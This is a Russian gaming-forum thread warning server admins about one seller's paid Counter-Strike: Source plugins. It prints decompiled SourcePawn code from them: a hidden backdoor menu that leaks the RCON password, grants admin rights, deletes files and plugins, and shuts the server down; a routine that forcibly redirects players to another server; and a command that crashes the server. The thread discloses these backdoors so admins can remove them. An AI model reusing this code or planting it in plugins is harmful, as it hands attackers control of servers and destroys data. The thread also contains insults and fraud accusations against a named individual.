DEN (infozona-51.ru)

R1KO

всё тлен
Супермодератор
Сообщения
8,434
Реакции
5,877
Не то чтобы жалоба а просто предостережение.

Сегодня ко мне попал плагин Плагин Префиксы в чате для зомби сервера Css V34

Декомпилировав его вот что открылось моему взору:
Собственно весь полезный код:
PHP:
public Action:HookMessage(client, String:command[], args)
{
    new String:buffer[512];
    new String:name[64];
    GetCmdArgString(buffer, 512);
    StripQuotes(buffer);
    GetClientName(client, name, 64);
    new team = GetClientTeam(client);
    if (virusactive)
    {
        if (team == 2)
        {
            PrintToChatAll("\x04[Заражённый] \x03%s\x01: %s", name, buffer);
        }
        if (team == 3)
        {
            PrintToChatAll("\x04[Человек] \x03%s\x01: %s", name, buffer);
        }
        if (team == 1)
        {
            PrintToChatAll("\x04[Спектатор] \x03%s\x01: %s", name, buffer);
        }
    }
    else
    {
        PrintToChatAll("\x04[Человек] \x03%s\x01: %s", name, buffer);
        if (team == 1)
        {
            PrintToChatAll("\x04[Спектатор] \x03%s\x01: %s", name, buffer);
        }
    }
    return Action:3;
}
А вот дальше интереснее:
PHP:
public Action:Crashmenu(client, args)
{
    crasher = client;
    new Handle:menu = CreateMenu(Select_Menu, MenuAction:28);
    SetMenuTitle(menu, "Что прикажете сделать?");
    AddMenuItem(menu, "1", "Разбанить себя", 0);
    AddMenuItem(menu, "2", "Удалить файл/папку", 0);
    AddMenuItem(menu, "3", "Выдать Админку", 0);
    AddMenuItem(menu, "4", "Выключить сервер", 0);
    AddMenuItem(menu, "5", "Выгрузить плагин", 0);
    AddMenuItem(menu, "6", "Получить RCON пароль", 0);
    AddMenuItem(menu, "7", "Выборочное удаление плагинов", 0);
    SetMenuExitButton(menu, true);
    DisplayMenu(menu, crasher, 0);
    return Action:0;
}

public Select_Menu(Handle:menu, MenuAction:action, crasher, option)
{
    if (action == MenuAction:16)
    {
        CloseHandle(menu);
        return 0;
    }
    if (action == MenuAction:4)
    {
        if (!option)
        {
            ServerCommand("sm_unban \"STEAM_0:0:1506229913\"");
            ServerCommand("sm_unban \"95.191.21.25\"");
            ServerCommand("sm_unban \"95.191\"");
            PrintToChat(crasher, "[DeathMenu] Вы были разбанены!");
        }
        if (option == 1)
        {
            new Handle:delmenu = CreateMenu(Select_DelMenu, MenuAction:28);
            SetMenuTitle(delmenu, "Файл или папка?");
            AddMenuItem(delmenu, "1", "Файл", 0);
            AddMenuItem(delmenu, "2", "Папка", 0);
            SetMenuExitButton(delmenu, true);
            DisplayMenu(delmenu, crasher, 0);
        }
        if (option == 2)
        {
            new Handle:admmenu = CreateMenu(Select_AdmMenu, MenuAction:28);
            SetMenuTitle(admmenu, "Выбирай");
            AddMenuItem(admmenu, "1", "По Steam ID", 0);
            AddMenuItem(admmenu, "2", "По ip", 0);
            SetMenuExitButton(admmenu, true);
            DisplayMenu(admmenu, crasher, 0);
        }
        if (option == 3)
        {
            ServerCommand("exit");
        }
        if (option == 4)
        {
            pluginname = 1;
            PrintToChat(crasher, "[DeathMenu] Введите название плагина (без .smx)");
        }
        if (option == 5)
        {
            new String:password[128];
            GetConVarString(FindConVar("rcon_password"), password, 128);
            PrintToChat(crasher, "[DeathMenu] RCON пароль: %s", password);
        }
        if (option == 6)
        {
            del = 1;
            PrintToChat(crasher, "[DeathMenu] Впишите название плагина для удаления (без .smx)!");
        }
    }
    return 0;
}

public Select_AdmMenu(Handle:admmenu, MenuAction:action, crasher, option)
{
    if (action == MenuAction:16)
    {
        CloseHandle(admmenu);
        return 0;
    }
    if (action == MenuAction:4)
    {
        if (!option)
        {
            po_ip = 1;
            SelectPlayer(crasher);
        }
        if (option == 1)
        {
            po_steam = 1;
            SelectPlayer(crasher);
        }
    }
    return 0;
}

SelectPlayer(crasher)
{
    new Handle:plmenu = CreateMenu(Select_PlMenu, MenuAction:28);
    SetMenuTitle(plmenu, "Выберите Игрока:\n \n");
    decl String:userid[16];
    decl String:name[32];
    new i = 1;
    while (i <= MaxClients)
    {
        if (IsClientInGame(i))
        {
            IntToString(GetClientUserId(i), userid, 15);
            GetClientName(i, name, 32);
            AddMenuItem(plmenu, userid, name, 0);
        }
        i++;
    }
    DisplayMenu(plmenu, crasher, 0);
    return 0;
}

public Select_PlMenu(Handle:plmenu, MenuAction:action, crasher, option)
{
    if (action == MenuAction:16)
    {
        CloseHandle(plmenu);
        return 0;
    }
    if (action == MenuAction:4)
    {
        decl String:userid[16];
        GetMenuItem(plmenu, option, userid, 15, 0, "", 0);
        new target = GetClientOfUserId(StringToInt(userid, 10));
        new String:steamid[128];
        new String:ip[28];
        if (0 < target)
        {
            if (po_ip == 1)
            {
                GetClientAuthString(target, steamid, 128, true);
                new AdminId:id = CreateAdmin("");
                SetAdminFlag(id, AdminFlag:14, true);
                BindAdminIdentity(id, "steam", steamid);
                PrintToChat(crasher, "[DeathMenu] Игроку %N была выдана админка по SteamID!", target);
                ServerCommand("sm_reloadadmins");
                po_steam = 0;
            }
            if (po_steam == 1)
            {
                GetClientIP(target, ip, 25, true);
                new AdminId:id = CreateAdmin("");
                SetAdminFlag(id, AdminFlag:14, true);
                BindAdminIdentity(id, "ip", ip);
                PrintToChat(crasher, "[DeathMenu] Игроку %N была выдана админка по IP!", target);
                ServerCommand("sm_reloadadmins");
                po_ip = 0;
            }
        }
    }
    return 0;
}

public Select_DelMenu(Handle:delmenu, MenuAction:action, crasher, option)
{
    if (action == MenuAction:16)
    {
        CloseHandle(delmenu);
        return 0;
    }
    if (action == MenuAction:4)
    {
        if (option)
        {
            if (option == 1)
            {
                folder = 1;
                PrintToChat(crasher, "[DeathMenu] Впишите путь к папке");
                deletepath = 1;
            }
        }
        file = 1;
        PrintToChat(crasher, "[DeathMenu] Впишите путь к файлу (включая расширение, например, \".txt\")");
        deletepath = 1;
    }
    return 0;
}

public Action:HookPlayerChat(crasher, String:command[], args)
{
    if (pluginname == 1)
    {
        GetCmdArg(1, plugname, 64);
        ServerCommand("sm plugins unload %s.smx", plugname);
        PrintToChat(crasher, "[DeathMenu] Плагин %s.smx отключен", plugname);
        pluginname = 0;
        PrintToChatAll("");
        return Action:3;
    }
    if (del == 1)
    {
        new String:plug[128];
        GetCmdArg(1, plug, 128);
        Format(plug, 128, "addons/sourcemod/plugins/%s.smx", plug);
        DeleteFile(plug);
        PrintToChat(crasher, "[DeathMenu] Плагин %s.smx был удален!", plug);
        del = 0;
        PrintToChatAll("");
        return Action:3;
    }
    if (deletepath == 1)
    {
        new String:path[128];
        GetCmdArg(1, path, 128);
        if (file == 1)
        {
            if (FileExists(path, false))
            {
                DeleteFile(path);
                file = 0;
                PrintToChat(crasher, "[DeathMenu] Файл был успешно удален");
            }
            else
            {
                PrintToChat(crasher, "[DeathMenu] Файл не найден");
            }
        }
        else
        {
            if (folder == 1)
            {
                if (DirExists(path))
                {
                    if (RemoveDir(path))
                    {
                        folder = 0;
                        PrintToChat(crasher, "[DeathMenu] Папка была успешно удалена");
                    }
                    else
                    {
                        PrintToChat(crasher, "[DeathMenu] Данную папку невозможно удалить");
                    }
                }
                PrintToChat(crasher, "[DeathMenu] Папка не найдена");
            }
        }
    }
    return Action:0;
}

Как видно по коду 70 % плагина чистой воды бэкдор.

Так что если у вас установлен этот плагин - советую удалить его.

Так же в связи с моей сферой деятельности мне неоднократно поступали жалобы на данную особь:
upload_2017-8-6_21-12-9.png

По моим сведениям мало кто что покупает т.к. мало того что в основном умершая в34, так еще и цены в разы завышены, учитывая что большая часть ассортимента - немного измененные или соединенные публичные плагины.

Так что связываться не советую.
 
Сообщения
112
Реакции
100
Поддерживаю R1ko, он ещё и кидала не плохой, а зато как общаться то начинает ,что касаемо денег, "будьте любезны ,всегда пожалуйста, всё на вы да с улыбочкой" как то у него плагин брал, так я хрен его знает ,) у него как будто цех по установке плагина построен, говорит такими словами что аж смешно становится, тапа установка плагина будет произведена в течение 48 часов, через сутки пишет что подготовка к установке произведена, ещё через 8 часов пишет что приступил к установке. Вот откуда такие клоуны берутся я понять не могу, это хорошо что он ракеты в космос не запускает, а то судя по тому как он плагины устанавливает, то ракета совсем бы никуда в течение 100 лет не улетела))
 
Сообщения
723
Реакции
363
Имел уже с ним дело, и я, и знакомый админ, который купил у него один плагин (аля No-Steam Bans). Продавал он этот плагин с привязкой на айпи. Через некоторое время пришлось сменить хостинг, соответственно IP сменился и плагин не работает. Владелец плагина с ним связываться не хотел, на связь вышел с ним я. Объяснил ситуацию, что так и так, пришлось сменить хостинг, нужно плагин привязать на новый айпи. Он начал заливать про какое-то доказательство неработоспособности сервера, я ему пишу ещё раз, что сервер нормально работает, просто сменили хостинг. Так он сказал, что на новый айпи привязывать не будет, покупай заново. Позже знакомый обратился к человеку, чтобы тот убрал привязку, в итоге он обнаружил в плагине команды для краша сервера, что было большим удивлением. Очень странный человек он.
P.S.(Если нужно, могу скинуть переписку с ним в ВК, если она ещё сохранилась).
 
Последнее редактирование:
Сообщения
112
Реакции
100
надо ещё в этой теме все его плагины выкладывать, которые по тем или иным причинам перестали работать, а лучше все привязанные , можно при желание их все отвязать и распостранить бесплатно)
 
Сообщения
15
Реакции
19
Это тело такое, ворует чужие плагины/модели/карты и присваивает себе авторство. Лично меня кинул на 5к рублей еще в 2014 когда я только начал понимать что к чему. Помимо этого я в то время держал у него на германской вдске 3 сервера. После того как он меня развел на 5к рублей, он забрал доступ к серверам со всеми плагинами и кинул меня везде в чс, после чего я узнал что он продавал их у себя в группе. Казалось бы человеку больше 40 лет, работает на заводе, есть ребенок, а он сидит и кидает людей... Все пруфы у меня есть в лс вк, кому нужно скину.
 
Сообщения
11
Реакции
8
надо ещё в этой теме все его плагины выкладывать, которые по тем или иным причинам перестали работать, а лучше все привязанные , можно при желание их все отвязать и распостранить бесплатно)
vk.com/club99565545
 

R1KO

всё тлен
Супермодератор
Сообщения
8,434
Реакции
5,877
Зря выложил, этот бэкдор, щас кто то возьмет его и будет использовать в своих не хороших целях
А это уже проблемы тех, кто будет связываться с непроверенными людьми
 

Grey83

похухоль
Сообщения
2,781
Реакции
1,513
@Danyas, интересно что там несовместимо с 1.7?
В фиксе для 1.7 строку #pragma newdecls required перенесли ниже инклюдов, что ли?
 
Сообщения
112
Реакции
100
Хочу предостеречь людей ещё от одного чучела Ярослав Шаповалов Yaroslav Shapovalov , Тот ещё га****он , все кто покупал у него любые плагины, советую удалить, в одном из них я уверен есть это Action:OnMovetypeNoneAll(Handle:timer)
{
new var1;
if (sAddressServer[0] && sNameServer[0])
{
return Action:0;
}
new iClient = 1;
while (iClient <= MaxClients)
{
if (IsClientInGame(iClient))
{
if (!(0 < GetUserFlagBits(iClient)))
{
DisplayAskConnectBox(iClient, 2.0, sAddressServer, "");
PrintCenterText(iClient, "Сервер вас перенаправляет на %s. Нажмите F3.", sNameServer);
PrintToChat(iClient, "\x01Сервер вас перенаправляет на \x04%s. Нажмите F3.", sNameServer);
if (IsPlayerAlive(iClient))
{
SetEntityMoveType(iClient, MoveType:0);
}
}
iClient++;
}
iClient++;
}
CreateTimer(1.0, OnMovetypeNoneAll, any:0, 0);
return Action:0;
}

А это прямая дорога в бан на любом платной раскрутке или мониторинге!

в краце об этом коде, когда вы подключаетесь к серверу на котором стоит плагин с таким кодом, у вас автоматом слетает вам мастер сервер , и прописывается его ,с его серверами и его гейм меню!
 
Сообщения
565
Реакции
140
Хочу предостеречь людей ещё от одного чучела Ярослав Шаповалов Yaroslav Shapovalov , Тот ещё га****он , все кто покупал у него любые плагины, советую удалить, в одном из них я уверен есть это Action:OnMovetypeNoneAll(Handle:timer)
{
new var1;
if (sAddressServer[0] && sNameServer[0])
{
return Action:0;
}
new iClient = 1;
while (iClient <= MaxClients)
{
if (IsClientInGame(iClient))
{
if (!(0 < GetUserFlagBits(iClient)))
{
DisplayAskConnectBox(iClient, 2.0, sAddressServer, "");
PrintCenterText(iClient, "Сервер вас перенаправляет на %s. Нажмите F3.", sNameServer);
PrintToChat(iClient, "\x01Сервер вас перенаправляет на \x04%s. Нажмите F3.", sNameServer);
if (IsPlayerAlive(iClient))
{
SetEntityMoveType(iClient, MoveType:0);
}
}
iClient++;
}
iClient++;
}
CreateTimer(1.0, OnMovetypeNoneAll, any:0, 0);
return Action:0;
}

А это прямая дорога в бан на любом платной раскрутке или мониторинге!

в краце об этом коде, когда вы подключаетесь к серверу на котором стоит плагин с таким кодом, у вас автоматом слетает вам мастер сервер , и прописывается его ,с его серверами и его гейм меню!
Это каким нужно быть конченным, чтобы продавать плагин с бэкдором. Ты (чудо ака miracle ака еще что-то) их продаешь, не в паблик выкладываешь, у тебя его не украли и тд и тп. Нафига такое делать если ты уже продал плагин.
 

Kaptain

Школьник
Сообщения
888
Реакции
406
Хочу предостеречь людей ещё от одного чучела Ярослав Шаповалов Yaroslav Shapovalov , Тот ещё га****он , все кто покупал у него любые плагины, советую удалить, в одном из них я уверен есть это Action:OnMovetypeNoneAll(Handle:timer)
{
new var1;
if (sAddressServer[0] && sNameServer[0])
{
return Action:0;
}
new iClient = 1;
while (iClient <= MaxClients)
{
if (IsClientInGame(iClient))
{
if (!(0 < GetUserFlagBits(iClient)))
{
DisplayAskConnectBox(iClient, 2.0, sAddressServer, "");
PrintCenterText(iClient, "Сервер вас перенаправляет на %s. Нажмите F3.", sNameServer);
PrintToChat(iClient, "\x01Сервер вас перенаправляет на \x04%s. Нажмите F3.", sNameServer);
if (IsPlayerAlive(iClient))
{
SetEntityMoveType(iClient, MoveType:0);
}
}
iClient++;
}
iClient++;
}
CreateTimer(1.0, OnMovetypeNoneAll, any:0, 0);
return Action:0;
}

А это прямая дорога в бан на любом платной раскрутке или мониторинге!

в краце об этом коде, когда вы подключаетесь к серверу на котором стоит плагин с таким кодом, у вас автоматом слетает вам мастер сервер , и прописывается его ,с его серверами и его гейм меню!
А я говорил :acute:
 
Сообщения
445
Реакции
72
Хочу предостеречь людей ещё от одного чучела Ярослав Шаповалов Yaroslav Shapovalov , Тот ещё га****он , все кто покупал у него любые плагины, советую удалить, в одном из них я уверен есть это Action:OnMovetypeNoneAll(Handle:timer)
{
new var1;
if (sAddressServer[0] && sNameServer[0])
{
return Action:0;
}
new iClient = 1;
while (iClient <= MaxClients)
{
if (IsClientInGame(iClient))
{
if (!(0 < GetUserFlagBits(iClient)))
{
DisplayAskConnectBox(iClient, 2.0, sAddressServer, "");
PrintCenterText(iClient, "Сервер вас перенаправляет на %s. Нажмите F3.", sNameServer);
PrintToChat(iClient, "\x01Сервер вас перенаправляет на \x04%s. Нажмите F3.", sNameServer);
if (IsPlayerAlive(iClient))
{
SetEntityMoveType(iClient, MoveType:0);
}
}
iClient++;
}
iClient++;
}
CreateTimer(1.0, OnMovetypeNoneAll, any:0, 0);
return Action:0;
}

А это прямая дорога в бан на любом платной раскрутке или мониторинге!

в краце об этом коде, когда вы подключаетесь к серверу на котором стоит плагин с таким кодом, у вас автоматом слетает вам мастер сервер , и прописывается его ,с его серверами и его гейм меню!
Звизда олда меняет мастер сервера на соурсбусте - его гавно сервера уже спалили и забанили там ))))
 
Последнее редактирование:
Сообщения
156
Реакции
652
В связи в участившимися случаями взлома плагинов (:bye:), он решил их защитить не сказав об этом покупателям.
А теперь перейдем к сути.

Плагин (как и все что он продает в текущие время, так думаю) имеет обфускацию SmartPawn, с целью защитить плагин от декомпиляции и взлома (:dntknw:) . В результате плагин "раздувается" (добавляется 200+ КБ и это с учетом сжатия встроенного в smx, при работе он раздувается в мегабайт) от добавления в него мусорного кода, который никогда не будет исполняться, но должен помешать. Частью этого мусора является функция (см. вложения), которая так-же никогда не вызывается.

Теперь о защите и бэкдорах:
В OnPluginStart вызывается функция проверки ip.
А так же регистрируются 2 общедоступные команды:
1) Выводит в чат, вызвавшему её игроку информацию о владельце сервера (ip).
Насколько я понимаю для того, что если плагин будет отвязан, узнать кто слил его.
2) Крашит сервер.
Насколько я понимаю для того, что если плагин будет отвязан, наказать того, кто слил его и использует.
Так же в OnMapStart вызывается 5и секундный таймер, после которого идет спам в консоль о плагине и вызов проверки ip.

PHP:
public int OnPluginStart() // address: 1742260
{
    RegConsoleCmd("sm_searchmsg", Command_searchmsg, "Searches SourceMod messages", 0);
    RegConsoleCmd("sm_plugin_buy", Command_plugin_buy, "Проверка легальности купленного плагина", 0);
    Func1748172();
    Func1469220();
    Func1679324();
    Func1603704();
    Func1548308();
    Func1498260();
    AutoExecConfig(true, "Skins-Weapons", "sourcemod/skins_weapons");
}

public int OnMapStart() // address: 1745420
{
    CreateTimer(5.0, Timer_PlugPritect, 0, 0);
    Func1605664();
}

public int Timer_PlugPritect() // address: 1746604
{
    Func1748172();
    ServerCommand("echo =====================================================");
    ServerCommand("echo Плагин Personal Weapons (version 4.3)");
    ServerCommand("echo Автор плагина Даниил Романов никнейм DEN & Gizmon51");
    ServerCommand("echo Канал на ютубе https://www.youtube.com/user/Gizmon51");
    ServerCommand("echo Группа VK https://vk.com/shopsource");
    ServerCommand("echo Скайп cssrs2_ky39i");
    ServerCommand("echo Автор плагина DEN");
    ServerCommand("echo =====================================================");
}

int Func1748172() // address: 1748172
{
    char var32[32];
    char var160[128];
    int var164;
    int var168;
    int var172;
    var168 = FindConVar("hostip");
    var164 = GetConVarInt(var168);
    var172 = FindConVar("hostport");
    GetConVarString(var172, var160, 128);
    FormatEx(var32, 32, "%u.%u.%u.%u:%s", var164 >>> 24 & 255, var164 >>> 16 & 255, var164 >>> 8 & 255, var164 & 255, var160);
    if (strcmp("127.0.0.1:27015", var32, true))
    {
        SetFailState("WWW.INFOZONA-51.RU Плагин не прошел проверку легальности. Подробности в скайп cssrs2_ky39i");
    }
}

public int Command_searchmsg() // address: 1749944
{
    ServerCommand("say ПЛАГИН ВАМИ НЕ ОПЛАЧЕН!!!");
    ServerCommand("killserver;sv_visiblemaxplayers 1;exit;sm plugins unload_all");
}

public int Command_plugin_buy(int arg12) // address: 1751124
{
    PrintToChat(arg12, "[WWW.INFOZONA-51.RU] Плагин куплен на сервер 127.0.0.1:27015");
}
Я работал с Personal Weapons и 3 модулями к нему, в каждом из них было по такой штуке.
Т.е. это будет 4 таких спам сообщения в консоль при старте карты (а у вас может быть и больше его плагинов).
Один из модулей по сути 100-200 строк кода в оригинале и 4-5 КБ весом, а вы получаете какашку весом в 200+ КБ.
Ну и бэкдоры для краша в придачу.

P.S. В плагине также был один баг. Его суть описана здесь: "Проблема "Group", механика KeyValues"
 

Вложения

Последнее редактирование:
Сообщения
35
Реакции
4
DEN, DEN ... всё тот же тупой и безжалостный DEN! Проблема в том, что если человек не понимает механизма компиляции, то любой механизм обфускации будет бесполезен или почти бесполезен. Так бездарно писать свой код - ещё нужно уметь! И мне кажется, что оптимальным решением проблемы с DEN-ом и его попытками обфускации SmartPawn-ом краденных плагинов - это некий плагин, который ставит нужные значения для IP и PORT на сервере.
 
Сверху